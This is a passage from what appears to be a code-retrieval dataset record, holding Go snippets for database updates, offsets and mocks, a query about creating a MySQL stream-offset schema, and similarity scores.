:= d.db.Exec(c, fmt.Sprintf(_upsertPlaySQL, table), fid, count, count)\n\tif err != nil {\n\t\tlog.Error(\"UpdatePlay(%d) error(%+v)\", oid, err)\n\t\treturn\n\t}\n\trows, err = res.RowsAffected()\n\treturn\n}", "func (k Keeper) UpdateOwnerGateway(ctx sdk.Context, moniker string, originOwner, newOwner sdk.AccAddress) {\n\tstore := ctx.KVStore(k.storeKey)\n\n\t// delete the old key\n\tstore.Delete(KeyOwnerGateway(originOwner, moniker))\n\n\t// add the new key\n\tbz := k.cdc.MustMarshalBinaryLengthPrefixed(moniker)\n\tstore.Set(KeyOwnerGateway(newOwner, moniker), bz)\n}", "func (c *MulticastController) updateJoinReply(jr *joinReply, ft *MultiForwardTable) *joinReply {\n\tjr.cost = calcNewJRCost(jr)\n\tjr.prevHop = c.mac\n\tnewSrcIPs := []net.IP{}\n\tnewNextHops := []net.HardwareAddr{}\n\n\t// Fill srcIPs and nextHops of the JoinReply\n\t// log.Println(c.cacheTable.String())\n\tfor i := 0; i < len(jr.srcIPs); i++ {\n\t\tcacheEntry, ok := c.cacheTable.get(jr.srcIPs[i])\n\t\tif ok && cacheEntry.grpIP.Equal(jr.grpIP) {\n\t\t\tnewSrcIPs = append(newSrcIPs, jr.srcIPs[i])\n\t\t\tnewNextHops = append(newNextHops, cacheEntry.prevHop)\n\t\t}\n\t}\n\n\tif len(newSrcIPs) > 0 {\n\t\tjr.srcIPs = newSrcIPs\n\t\tjr.nextHops = newNextHops\n\t\treturn jr\n\t}\n\treturn nil\n}", "func (o *PremiumCode) Update(ctx context.Context, exec boil.ContextExecutor, columns boil.Columns) (int64, error) {\n\tvar err error\n\tkey := makeCacheKey(columns, nil)\n\tpremiumCodeUpdateCacheMut.RLock()\n\tcache, cached := premiumCodeUpdateCache[key]\n\tpremiumCodeUpdateCacheMut.RUnlock()\n\n\tif !cached {\n\t\twl := columns.UpdateColumnSet(\n\t\t\tpremiumCodeAllColumns,\n\t\t\tpremiumCodePrimaryKeyColumns,\n\t\t)\n\n\t\tif !columns.IsWhitelist() {\n\t\t\twl = strmangle.SetComplement(wl, []string{\"created_at\"})\n\t\t}\n\t\tif len(wl) == 0 {\n\t\t\treturn 0, errors.New(\"models: unable to update premium_codes, could not build whitelist\")\n\t\t}\n\n\t\tcache.query = fmt.Sprintf(\"UPDATE \\\"premium_codes\\\" SET %s WHERE %s\",\n\t\t\tstrmangle.SetParamNames(\"\\\"\", \"\\\"\", 1, wl),\n\t\t\tstrmangle.WhereClause(\"\\\"\", \"\\\"\", len(wl)+1, premiumCodePrimaryKeyColumns),\n\t\t)\n\t\tcache.valueMapping, err = queries.BindMapping(premiumCodeType, premiumCodeMapping, append(wl, premiumCodePrimaryKeyColumns...))\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t}\n\n\tvalues := queries.ValuesFromMapping(reflect.Indirect(reflect.ValueOf(o)), cache.valueMapping)\n\n\tif boil.IsDebug(ctx) {\n\t\twriter := boil.DebugWriterFrom(ctx)\n\t\tfmt.Fprintln(writer, cache.query)\n\t\tfmt.Fprintln(writer, values)\n\t}\n\tvar result sql.Result\n\tresult, err = exec.ExecContext(ctx, cache.query, values...)\n\tif err != nil {\n\t\treturn 0, errors.Wrap(err, \"models: unable to update premium_codes row\")\n\t}\n\n\trowsAff, err := result.RowsAffected()\n\tif err != nil {\n\t\treturn 0, errors.Wrap(err, \"models: failed to get rows affected by update for premium_codes\")\n\t}\n\n\tif !cached {\n\t\tpremiumCodeUpdateCacheMut.Lock()\n\t\tpremiumCodeUpdateCache[key] = cache\n\t\tpremiumCodeUpdateCacheMut.Unlock()\n\t}\n\n\treturn rowsAff, nil\n}", "func (o *GetModerationRulesParams) SetOffset(offset *int64) {\n\to.Offset = offset\n}", "func (n *NupsCtr) UpdateKouji(c *gin.Context) {\n\treturn\n\n}", "func (s *ProtoViewSourceJob) Update(key string, msg proto.Message) error {\n\ts.keysSeen[key] = struct{}{}\n\n\tcurrent, err := s.view.Get(key)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"failed to get object\")\n\t}\n\n\tvar shouldUpdate = true\n\n\tif current != nil {\n\t\tc := current.(proto.Message)\n\t\tshouldUpdate = c == nil || !proto.Equal(c, msg)\n\t}\n\n\tif !shouldUpdate {\n\t\treturn nil\n\t}\n\n\terr = s.emitter.Emit(key, msg)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"failed to emit update\")\n\t}\n\n\treturn nil\n}", "func Update(ctx context.Context, tx pgx.Tx, sb sq.UpdateBuilder) (int64, error) {\n\tq, vs, err := sb.ToSql()\n\tif err != nil {\n\t\treturn -1, err\n\t}\n\ttag, err := tx.Exec(ctx, q, vs...)\n\tif err != nil {\n\t\treturn -1, err\n\t}\n\treturn tag.RowsAffected(), nil\n}", "func (o *BoardsSectionsPosition) Update(ctx context.Context, exec boil.ContextExecutor, columns boil.Columns) (int64, error) {\n\tvar err error\n\tif err = o.doBeforeUpdateHooks(ctx, exec); err != nil {\n\t\treturn 0, err\n\t}\n\tkey := makeCacheKey(columns, nil)\n\tboardsSectionsPositionUpdateCacheMut.RLock()\n\tcache, cached := boardsSectionsPositionUpdateCache[key]\n\tboardsSectionsPositionUpdateCacheMut.RUnlock()\n\n\tif !cached {\n\t\twl := columns.UpdateColumnSet(\n\t\t\tboardsSectionsPositionAllColumns,\n\t\t\tboardsSectionsPositionPrimaryKeyColumns,\n\t\t)\n\n\t\tif len(wl) == 0 {\n\t\t\treturn 0, errors.New(\"rdb: unable to update boards_sections_positions, could not build whitelist\")\n\t\t}\n\n\t\tcache.query = fmt.Sprintf(\"UPDATE `boards_sections_positions` SET %s WHERE %s\",\n\t\t\tstrmangle.SetParamNames(\"`\", \"`\", 0, wl),\n\t\t\tstrmangle.WhereClause(\"`\", \"`\", 0, boardsSectionsPositionPrimaryKeyColumns),\n\t\t)\n\t\tcache.valueMapping, err = queries.BindMapping(boardsSectionsPositionType, boardsSectionsPositionMapping, append(wl, boardsSectionsPositionPrimaryKeyColumns...))\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t}\n\n\tvalues := queries.ValuesFromMapping(reflect.Indirect(reflect.ValueOf(o)), cache.valueMapping)\n\n\tif boil.DebugMode {\n\t\tfmt.Fprintln(boil.DebugWriter, cache.query)\n\t\tfmt.Fprintln(boil.DebugWriter, values)\n\t}\n\n\tvar result sql.Result\n\tresult, err = exec.ExecContext(ctx, cache.query, values...)\n\tif err != nil {\n\t\treturn 0, errors.Wrap(err, \"rdb: unable to update boards_sections_positions row\")\n\t}\n\n\trowsAff, err := result.RowsAffected()\n\tif err != nil {\n\t\treturn 0, errors.Wrap(err, \"rdb: failed to get rows affected by update for boards_sections_positions\")\n\t}\n\n\tif !cached {\n\t\tboardsSectionsPositionUpdateCacheMut.Lock()\n\t\tboardsSectionsPositionUpdateCache[key] = cache\n\t\tboardsSectionsPositionUpdateCacheMut.Unlock()\n\t}\n\n\treturn rowsAff, o.doAfterUpdateHooks(ctx, exec)\n}", "func (c *cursor) setOffset(o cursorOffset) {\n\tc.cursorOffset = o\n}", "func (ds *MySQL) Update(q QueryMap, payload map[string]interface{}) (interface{}, error) {\n\tbuilder := ds.adapter.Builder()\n\tSQL := builder.Update(ds.source).Set(payload).Where(q).Limit(1, 0).Build()\n\tif ds.debug {\n\t\tfmt.Println(\"Update SQL: \", SQL)\n\t}\n\t_, err := ds.adapter.Exec(SQL)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar p ParamsMap\n\t// Checking for updated fields\n\tfor key, v := range payload {\n\t\tif _, ok := q[key]; ok {\n\t\t\tq[key] = v\n\t\t}\n\t}\n\treturn ds.Find(q, p)\n}", "func (c *Command) Update(data interface{}) (int64, error) {\n\tclient := c.set.gom.GetClient()\n\n\tcollection := client.Database(c.set.gom.GetDatabase()).Collection(c.set.tableName)\n\n\tdataM, err := c.set.buildData(data, false)\n\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tif len(c.set.filter.(bson.M)) == 0 {\n\t\treturn 0, errors.New(\"filter can't be empty\")\n\t}\n\n\tctx, cancelFunc := c.set.GetContext()\n\tdefer cancelFunc()\n\n\tres, err := collection.UpdateOne(ctx, c.set.filter, bson.M{\n\t\t\"$set\": dataM,\n\t})\n\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\treturn res.MatchedCount, nil\n}", "func (d *Dao) ArcUpdate(c context.Context, mid, aid int64, openElec int8, ip string) (err error) {\n\tparams := url.Values{}\n\tparams.Set(\"mid\", strconv.FormatInt(mid, 10))\n\tparams.Set(\"aid\", strconv.FormatInt(aid, 10))\n\tvar url string\n\tif openElec == 1 {\n\t\turl = d.arcOpenURL\n\t} else if openElec == 0 {\n\t\turl = d.arcCloseURL\n\t}\n\tvar res struct {\n\t\tCode int `json:\"code\"`\n\t}\n\tif err = d.client.Post(c, url, ip, params, &res); err != nil {\n\t\tlog.Error(\"d.client.Do uri(%s) aid(%d) mid(%d) orderID(%d) code(%d) error(%v)\", url+\"?\"+params.Encode(), mid, aid, openElec, res.Code, err)\n\t\terr = ecode.CreativeElecErr\n\t\treturn\n\t}\n\tlog.Info(\"dealElec ArcUpdate url(%s)\", url+\"?\"+params.Encode())\n\tif res.Code != 0 {\n\t\tlog.Error(\"arc elec update state url(%s) res(%v); mid(%d), aid(%d), ip(%s), code(%d), error(%v)\", url, res, mid, aid, ip, res.Code, err)\n\t\terr = ecode.Int(res.Code)\n\t\treturn\n\t}\n\treturn\n}", "func (e *Entry) Update(attr string, data []string, overwrite bool) error {\n\t// Create modify request object\n\tm := ldap.NewModifyRequest(e.DN)\n\n\texists := false\n\tif len(e.GetAttributeValue(attr)) != 0 {\n\t\texists = true\n\t}\n\n\t// Either the attribute isn't set or we wish to overwrite it either way\n\tif overwrite || !exists {\n\t\tif exists {\n\t\t\t// Modify replace contents of attribute\n\t\t\tm.Replace(attr, data)\n\t\t} else {\n\t\t\t// Add new data\n\t\t\tm.Add(attr, data)\n\t\t}\n\n\t\tif err := e.C.Modify(m); err != nil {\n\t\t\treturn fmt.Errorf(\"Could not modify LDAP record: %s\", err)\n\t\t}\n\t} else if !overwrite && exists {\n\t\treturn fmt.Errorf(\"data exists and overwrite not set. No change made\")\n\t}\n\n\treturn nil\n}", "func UpdateDPSCkzhById(m *DPSCkzh) (err error) {\n\to := orm.NewOrm()\n\tv := DPSCkzh{Id: m.Id}\n\t// ascertain id exists in the database\n\tif err = o.Read(&v); err == nil {\n\t\tvar num int64\n\t\tif num, err = o.Update(m); err == nil {\n\t\t\tfmt.Println(\"Number of records updated in database:\", num)\n\t\t}\n\t}\n\treturn\n}", "func (mr *MockQueueManagerMockRecorder) UpdateAckLevel(ctx, messageID, clusterName interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UpdateAckLevel\", reflect.TypeOf((*MockQueueManager)(nil).UpdateAckLevel), ctx, messageID, clusterName)\n}", "func update(updateStruct *Update) (bool, error) {\n\terr := updateStruct.Collection.UpdateId(updateStruct.Id, updateStruct.Data)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t\treturn false, err\n\t}\n\treturn true, nil\n}", "func (self Sound) SetPlayingOffset(timeOffset Time) {\n\tC.sfSound_setPlayingOffset(self.Cref, timeOffset.Cref)\n}", "func (s *CountMinSketch) Update(key []byte, count uint64) {\n\tfor r, c := range s.locations(key) {\n\t\ts.count[r][c] += count\n\t}\n}", "func Update() error {\n\tuser := map[string]interface{}{\n\t\t\"name\": \"viney.chow\",\n\t\t\"created\": time.Now().Format(\"2006-01-02 15:04:05\"),\n\t}\n\n\ti, err := orm.SetTable(\"tb_user\").SetPK(\"uid\").Where(\"uid=$1\", 2).Update(user)\n\tif err == nil {\n\t\tfmt.Println(i)\n\t\treturn nil\n\t}\n\n\treturn err\n}", "func (ks *kuiperService) UpdateRule(ctx context.Context, token string, r Rule) error {\n\tres, err := ks.auth.Identify(ctx, &mainflux.Token{Value: token})\n\tif err != nil {\n\t\treturn ErrUnauthorizedAccess\n\t}\n\tr.Owner = res.GetValue()\n\n\treturn ks.rules.Update(ctx, r)\n}", "func (mr *MockContextMockRecorder) UpdateTimerClusterAckLevel(cluster, ackLevel interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UpdateTimerClusterAckLevel\", reflect.TypeOf((*MockContext)(nil).UpdateTimerClusterAckLevel), cluster, ackLevel)\n}", "func (s *Service) arcUpdate(old *ugcmdl.ArchDatabus, new *ugcmdl.ArchDatabus) (err error) {\n\tif !s.arcExist(new.Aid) { // if an archive is not existing yet in our DB, we insert it\n\t\treturn s.arcInsert(new)\n\t}\n\tnew.Cover = s.coverURL(new.Cover, s.c.UgcSync.Cfg.BFSPrefix)\n\tvar (\n\t\toldAllow = &ugcmdl.ArcAllow{}\n\t\tnewAllow = &ugcmdl.ArcAllow{}\n\t)\n\toldAllow.FromDatabus(old)\n\tnewAllow.FromDatabus(new)\n\tif !oldAllow.CanPlay() && newAllow.CanPlay() { // if an archive is recovered, re-insert it\n\t\tlog.Info(\"Aid %d is recovered, add it\", new.Aid)\n\t\treturn s.arcInsert(new)\n\t}\n\tif oldAllow.CanPlay() && !newAllow.CanPlay() { // if an archive is banned, delete it\n\t\tlog.Info(\"Aid %d can't play, delete it\", new.Aid)\n\t\tif err = s.dao.UpdateArc(ctx, new); err != nil {\n\t\t\treturn\n\t\t}\n\t\treturn s.delArc(new.Aid)\n\t}\n\t// if arc level changed or video level changed, treat and import data\n\treturn s.arcCompare(old, new)\n}", "func (instructionMemory *InstructionMemory) updatePC(offset ...int64) {\n\tif len(offset) == 0 {\n\t\tinstructionMemory.PC += INCREMENT\n\t} else {\n\t\tinstructionMemory.PC += offset[0]\n\t}\n}", "func updateRecord(client *route53.Route53, zoneID string, targetRecord string, ip net.IP) (err error) {\n\tname := recordName(targetRecord)\n\t// retrieve current record sets starting with our target name\n\trrsets, err := client.ListResourceRecordSets(&route53.ListResourceRecordSetsInput{\n\t\tHostedZoneId: aws.String(zoneID),\n\t\tStartRecordName: aws.String(name),\n\t})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not retrieve records for zoneID %q: %s\", zoneID, err)\n\t}\n\n\t// check the IP address that there if it is.\n\tfor _, rr := range rrsets.ResourceRecordSets {\n\t\tif *rr.Name == name && *rr.Type == route53.RRTypeA {\n\t\t\tif len((*rr).ResourceRecords) != 1 {\n\t\t\t\treturn fmt.Errorf(\"cowardly refusing to modify a complicated ResourceRecord: multiple RR\")\n\t\t\t}\n\t\t\tcurr := *(*rr).ResourceRecords[0].Value\n\t\t\tif curr == ip.String() {\n\t\t\t\tlog.Printf(\"no need to update record %q, already pointing to %q\", name, ip)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}\n\n\t// UPSERT to create or update the record!\n\t_, err = client.ChangeResourceRecordSets(&route53.ChangeResourceRecordSetsInput{\n\t\tHostedZoneId: aws.String(zoneID),\n\t\tChangeBatch: &route53.ChangeBatch{\n\t\t\tChanges: []*route53.Change{\n\t\t\t\t{\n\t\t\t\t\tAction: aws.String(route53.ChangeActionUpsert),\n\t\t\t\t\tResourceRecordSet: &route53.ResourceRecordSet{\n\t\t\t\t\t\tName: aws.String(name),\n\t\t\t\t\t\tType: aws.String(route53.RRTypeA),\n\t\t\t\t\t\tTTL: aws.Int64(60),\n\t\t\t\t\t\tResourceRecords: []*route53.ResourceRecord{\n\t\t\t\t\t\t\t{Value: aws.String(ip.String())},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t})\n\n\treturn err\n}", "func (r *PutRequest) updateTTL() bool {\n\treturn r.UseTableTTL || r.TTL != nil\n}", "func (p KopsProvisioner) update(sc *kapp.StackConfig, providerImpl provider.Provider,\n\tdryRun bool) error {\n\n\terr := p.patch(sc, providerImpl, dryRun)\n\tif err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\n\tproviderVars := provider.GetVars(providerImpl)\n\n\tprovisionerValues := providerVars[PROVISIONER_KEY].(map[interface{}]interface{})\n\tkopsConfig, err := getKopsConfig(provisionerValues)\n\tif err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\n\tlog.Infof(\"Performing a rolling update to apply config changes to the kops cluster...\")\n\t// todo make the --yes flag configurable, perhaps through a CLI arg so people can verify their\n\t// changes before applying them\n\targs := []string{\n\t\t\"rolling-update\",\n\t\t\"cluster\",\n\t\t\"--yes\",\n\t}\n\n\targs = parameteriseValues(args, kopsConfig.Params.Global)\n\targs = parameteriseValues(args, kopsConfig.Params.RollingUpdate)\n\n\tvar stdoutBuf bytes.Buffer\n\tvar stderrBuf bytes.Buffer\n\n\tcmd := exec.Command(KOPS_PATH, args...)\n\tcmd.Env = os.Environ()\n\tcmd.Stdout = &stdoutBuf\n\tcmd.Stderr = &stderrBuf\n\n\tif dryRun {\n\t\tlog.Infof(\"Dry run. Skipping invoking Kops, but would execute: %s %s\",\n\t\t\tKOPS_PATH, strings.Join(args, \" \"))\n\t} else {\n\t\tlog.Infof(\"Running Kops rolling update... Executing: %s %s\", KOPS_PATH,\n\t\t\tstrings.Join(args, \" \"))\n\n\t\terr := cmd.Run()\n\t\tif err != nil {\n\t\t\treturn errors.Wrapf(err, \"Failed to update Kops cluster: %s\", stderrBuf.String())\n\t\t}\n\n\t\tlog.Debugf(\"Kops returned:\\n%s\", stdoutBuf.String())\n\t\tlog.Infof(\"Kops cluster updated\")\n\t}\n\n\treturn nil\n}" ]
[ "0.5265997", "0.5001188", "0.4997778", "0.4948661", "0.47325367", "0.46862262", "0.4617137", "0.4422344", "0.4403765", "0.43536887", "0.4332005", "0.42700264", "0.42593765", "0.42416778", "0.42387107", "0.42280987", "0.42227277", "0.42138276", "0.4205628", "0.41990882", "0.41884828", "0.41696966", "0.4128817", "0.40962562", "0.40690428", "0.406638", "0.40642327", "0.40590262", "0.40542704", "0.40418068", "0.4035247", "0.3998074", "0.39930242", "0.39897704", "0.3985674", "0.3982371", "0.3980832", "0.3978207", "0.39769349", "0.39685547", "0.3960868", "0.3957726", "0.39518544", "0.3948699", "0.39345738", "0.39334357", "0.3931947", "0.39301392", "0.3924779", "0.39229786", "0.39147437", "0.3899886", "0.38938904", "0.38929316", "0.38896796", "0.38893157", "0.38810116", "0.38748944", "0.387441", "0.38742334", "0.38742334", "0.38651624", "0.38496926", "0.38461083", "0.3846001", "0.38413838", "0.383957", "0.38395008", "0.38336253", "0.38315597", "0.38274932", "0.38249484", "0.38231218", "0.38209885", "0.3817636", "0.3815524", "0.38021874", "0.37998748", "0.37895903", "0.37844265", "0.37823093", "0.378041", "0.37794533", "0.3770476", "0.37673572", "0.37630975", "0.3761708", "0.3760232", "0.37584245", "0.3756525", "0.37532896", "0.37509832", "0.37481692", "0.37376264", "0.37357607", "0.37343246", "0.37339288", "0.37307283", "0.37245575", "0.37233508" ]
0.6796423
0
createOffsetSchema creates the schema elements for stream offsets.
func createOffsetSchema(ctx context.Context, db *sql.DB) { sqlx.Exec( ctx, db, `CREATE TABLE IF NOT EXISTS stream_offset ( app_key VARBINARY(255) NOT NULL, source_app_key VARBINARY(255) NOT NULL, next_offset BIGINT NOT NULL, PRIMARY KEY (app_key, source_app_key) ) ENGINE=InnoDB`, ) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func dropOffsetSchema(ctx context.Context, db *sql.DB) {\n\tsqlx.Exec(ctx, db, `DROP TABLE IF EXISTS stream_offset`)\n}", "func (w *windowTransformation2) createSchema(cols []flux.ColMeta) []flux.ColMeta {\n\tncols := len(cols)\n\tif execute.ColIdx(w.startCol, cols) < 0 {\n\t\tncols++\n\t}\n\tif execute.ColIdx(w.stopCol, cols) < 0 {\n\t\tncols++\n\t}\n\n\tnewCols := make([]flux.ColMeta, 0, ncols)\n\tfor _, col := range cols {\n\t\tif col.Label == w.startCol || col.Label == w.stopCol {\n\t\t\tcol.Type = flux.TTime\n\t\t}\n\t\tnewCols = append(newCols, col)\n\t}\n\n\tif execute.ColIdx(w.startCol, newCols) < 0 {\n\t\tnewCols = append(newCols, flux.ColMeta{\n\t\t\tLabel: w.startCol,\n\t\t\tType: flux.TTime,\n\t\t})\n\t}\n\n\tif execute.ColIdx(w.stopCol, newCols) < 0 {\n\t\tnewCols = append(newCols, flux.ColMeta{\n\t\t\tLabel: w.stopCol,\n\t\t\tType: flux.TTime,\n\t\t})\n\t}\n\treturn newCols\n}", "func (amd *AppMultipleDatabus) InitOffset(c context.Context) {\n\tamd.d.InitOffset(c, amd.offsets[0], amd.attrs, amd.tableName)\n}", "func NewSchema(m ...interface{}) *Schema {\n\tif len(m) > 0 {\n\t\tsche := &Schema{}\n\t\tstack := toMiddleware(m)\n\t\tfor _, s := range stack {\n\t\t\t*sche = append(*sche, s)\n\t\t}\n\t\treturn sche\n\t}\n\treturn nil\n}", "func New() *types.Schema {\n\ts := &types.Schema{\n\t\tEntryPointNames: make(map[string]string),\n\t\tTypes: make(map[string]types.NamedType),\n\t\tDirectives: make(map[string]*types.DirectiveDefinition),\n\t}\n\tm := newMeta()\n\tfor n, t := range m.Types {\n\t\ts.Types[n] = t\n\t}\n\tfor n, d := range m.Directives {\n\t\ts.Directives[n] = d\n\t}\n\treturn s\n}", "func NewOffsetStore(path string) cqrs.OffsetStore {\n\tdb, err := bolt.Open(path, 0600, nil)\n\tif err != nil {\n\t\tglog.Fatal(\"Error while opening bolt db\", err)\n\t}\n\tdb.Update(func(tx *bolt.Tx) error {\n\t\tcreateBucket(tx, OFFSET_BUCKET)\n\t\treturn nil\n\t})\n\treturn &BoltOffsetStore{db}\n}", "func SchemaCreate(w http.ResponseWriter, r *http.Request) {\n\n\t// Add content type header to the response\n\tcontentType := \"application/json\"\n\tcharset := \"utf-8\"\n\tw.Header().Add(\"Content-Type\", fmt.Sprintf(\"%s; charset=%s\", contentType, charset))\n\n\t// Get url path variables\n\turlVars := mux.Vars(r)\n\tschemaName := urlVars[\"schema\"]\n\n\t// Grab context references\n\trefStr := gorillaContext.Get(r, \"str\").(stores.Store)\n\n\t// Get project UUID First to use as reference\n\tprojectUUID := gorillaContext.Get(r, \"auth_project_uuid\").(string)\n\n\tschemaUUID := uuid.NewV4().String()\n\n\tschema := schemas.Schema{}\n\n\terr := json.NewDecoder(r.Body).Decode(&schema)\n\tif err != nil {\n\t\terr := APIErrorInvalidArgument(\"Schema\")\n\t\trespondErr(w, err)\n\t\treturn\n\t}\n\n\tschema, err = schemas.Create(projectUUID, schemaUUID, schemaName, schema.Type, schema.RawSchema, refStr)\n\tif err != nil {\n\t\tif err.Error() == \"exists\" {\n\t\t\terr := APIErrorConflict(\"Schema\")\n\t\t\trespondErr(w, err)\n\t\t\treturn\n\n\t\t}\n\n\t\tif err.Error() == \"unsupported\" {\n\t\t\terr := APIErrorInvalidData(schemas.UnsupportedSchemaError)\n\t\t\trespondErr(w, err)\n\t\t\treturn\n\n\t\t}\n\n\t\terr := APIErrorInvalidData(err.Error())\n\t\trespondErr(w, err)\n\t\treturn\n\t}\n\n\toutput, _ := json.MarshalIndent(schema, \"\", \" \")\n\trespondOK(w, output)\n}", "func setupSchema(cli *cli.Context) error {\n\tparams, err := parseConnectParams(cli)\n\tif err != nil {\n\t\treturn handleErr(schema.NewConfigError(err.Error()))\n\t}\n\tconn, err := newConn(params)\n\tif err != nil {\n\t\treturn handleErr(err)\n\t}\n\tdefer conn.Close()\n\tif err := schema.Setup(cli, conn); err != nil {\n\t\treturn handleErr(err)\n\t}\n\treturn nil\n}", "func NewOffset(opts ...OffsetOpt) Offset {\n\to := Offset{\n\t\trequest: -1,\n\t\tepoch: -1,\n\t}\n\tfor _, opt := range opts {\n\t\topt.apply(&o)\n\t}\n\treturn o\n}", "func SchemaRegister(svc string, cluster string, sdb string, table string, inputType string, output string, version int, formatType string, dst string, createTopic bool) error {\n\tavroSchema, err := schema.ConvertToAvro(&db.Loc{Cluster: cluster, Service: svc, Name: sdb}, table, inputType, formatType)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\toutputSchemaName, err := encoder.GetOutputSchemaName(svc, sdb, table, inputType, output, version)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif dst == \"state\" || dst == \"all\" {\n\t\terr = state.InsertSchema(outputSchemaName, formatType, string(avroSchema))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif createTopic {\n\t\ttm := time.Now()\n\t\tc, err := config.Get().GetChangelogTopicName(svc, sdb, table, inputType, \"kafka\", version, tm)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\terr = createKafkaTopic(c, inputType, svc, sdb, table)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\to, err := config.Get().GetOutputTopicName(svc, sdb, table, inputType, \"kafka\", version, tm)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\terr = createKafkaTopic(o, inputType, svc, sdb, table)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tlog.Infof(\"AvroSchema registered for(%v,%v, %v,%v,%v,%v,%v) = %s\", svc, cluster, sdb, table, inputType, output, version, avroSchema)\n\treturn nil\n}", "func createSchema() graphql.Schema {\n\tschema, err := graphql.NewSchema(graphql.SchemaConfig{\n\t\tQuery: createQuery(),\n\t})\n\tif err != nil {\n\t\tlog.Println(\"Error creating Schema\")\n\t\tpanic(err)\n\t}\n\treturn schema\n}", "func createSchema(connection *sql.DB) error {\n\t_, err := connection.Exec(SCHEMA)\n\n\treturn err\n}", "func NewSchema() *Schema {\n\tschema := &Schema{\n\t\tobjects: make(map[string]*Object),\n\t}\n\n\t// Default registrations.\n\tschema.Enum(SortOrder(0), map[string]SortOrder{\n\t\t\"asc\": SortOrder_Ascending,\n\t\t\"desc\": SortOrder_Descending,\n\t})\n\n\treturn schema\n}", "func emitSchema(pkgSpec *pschema.PackageSpec, version, outDir string, goPackageName string) error {\n\tschemaJSON, err := json.MarshalIndent(pkgSpec, \"\", \" \")\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"marshaling Pulumi schema\")\n\t}\n\n\t// Ensure the spec is stamped with a version.\n\tpkgSpec.Version = version\n\n\tcompressedSchema := bytes.Buffer{}\n\tcompressedWriter := gzip.NewWriter(&compressedSchema)\n\terr = json.NewEncoder(compressedWriter).Encode(pkgSpec)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"marshaling metadata\")\n\t}\n\tif err = compressedWriter.Close(); err != nil {\n\t\treturn err\n\t}\n\n\terr = emitFile(outDir, \"schema.go\", []byte(fmt.Sprintf(`package %s\nvar pulumiSchema = %#v\n`, goPackageName, compressedSchema.Bytes())))\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"saving metadata\")\n\t}\n\n\treturn emitFile(outDir, \"schema.json\", schemaJSON)\n}", "func CreateListDataSourceSchemaDatabaseRequest() (request *ListDataSourceSchemaDatabaseRequest) {\n\trequest = &ListDataSourceSchemaDatabaseRequest{\n\t\tRpcRequest: &requests.RpcRequest{},\n\t}\n\trequest.InitWithApiInfo(\"Emr\", \"2016-04-08\", \"ListDataSourceSchemaDatabase\", \"emr\", \"openAPI\")\n\treturn\n}", "func StructFromSchema(schema avro.Schema, w io.Writer, cfg Config) error {\n\trec, ok := schema.(*avro.RecordSchema)\n\tif !ok {\n\t\treturn errors.New(\"can only generate Go code from Record Schemas\")\n\t}\n\n\topts := []OptsFunc{\n\t\tWithFullName(cfg.FullName),\n\t\tWithEncoders(cfg.Encoders),\n\t}\n\tg := NewGenerator(strcase.ToSnake(cfg.PackageName), cfg.Tags, opts...)\n\tg.Parse(rec)\n\n\tbuf := &bytes.Buffer{}\n\tif err := g.Write(buf); err != nil {\n\t\treturn err\n\t}\n\n\tformatted, err := format.Source(buf.Bytes())\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not format code: %w\", err)\n\t}\n\n\t_, err = w.Write(formatted)\n\treturn err\n}", "func payloadFromSchema(schema *arrow.Schema, mem memory.Allocator, memo *dictutils.Mapper) payloads {\n\tps := make(payloads, 1)\n\tps[0].msg = MessageSchema\n\tps[0].meta = writeSchemaMessage(schema, mem, memo)\n\n\treturn ps\n}", "func (svc *ServiceDefinition) createSchemas() *brokerapi.ServiceSchemas {\n\treturn &brokerapi.ServiceSchemas{\n\t\tInstance: brokerapi.ServiceInstanceSchema{\n\t\t\tCreate: brokerapi.Schema{\n\t\t\t\tParameters: createJsonSchema(svc.ProvisionInputVariables),\n\t\t\t},\n\t\t},\n\t\tBinding: brokerapi.ServiceBindingSchema{\n\t\t\tCreate: brokerapi.Schema{\n\t\t\t\tParameters: createJsonSchema(svc.BindInputVariables),\n\t\t\t},\n\t\t},\n\t}\n}", "func CreateSchema(conn FConnR) Schema {\n\treturn Schema{\n\t\tconnection: conn,\n\t}\n}", "func NewOffset() *Offset {\n\to := &Offset{waitCh: make(chan wait), doneCh: make(chan struct{}, 1), heap: rpheap.New()}\n\tgo o.process()\n\treturn o\n}", "func (in *Database) createSchema() (*memdb.MemDB, error) {\n\tschema := &memdb.DBSchema{\n\t\tTables: map[string]*memdb.TableSchema{\n\t\t\t\"container\": {\n\t\t\t\tName: \"container\",\n\t\t\t\tIndexes: map[string]*memdb.IndexSchema{\n\t\t\t\t\t\"id\": {\n\t\t\t\t\t\tName: \"id\",\n\t\t\t\t\t\tUnique: true,\n\t\t\t\t\t\tIndexer: &memdb.StringFieldIndex{Field: \"ID\"},\n\t\t\t\t\t},\n\t\t\t\t\t\"shortid\": 